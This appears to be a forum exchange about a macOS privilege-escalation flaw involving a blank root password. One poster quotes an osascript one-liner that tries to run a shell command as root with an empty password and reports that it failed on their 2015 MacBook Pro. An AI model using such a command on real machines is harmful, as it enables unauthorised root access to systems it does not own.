Are you using a Mac with Touch ID by chance? Wonder if having a Secure Enclave has something to do with certain people not being able to do this.
Nope, it's a 2015 MBP. When setting up a Mac is one asked for a root password? If so then it's quite possible I set that when I first set up my MacBook.
Apparently this is the command line version of the exploit using osascript:
$ osascript -e 'do shell script "id" with administrator privileges user name "root" password ""'
However when I run that I get:
execution error: The administrator user name or password was incorrect. (-60007)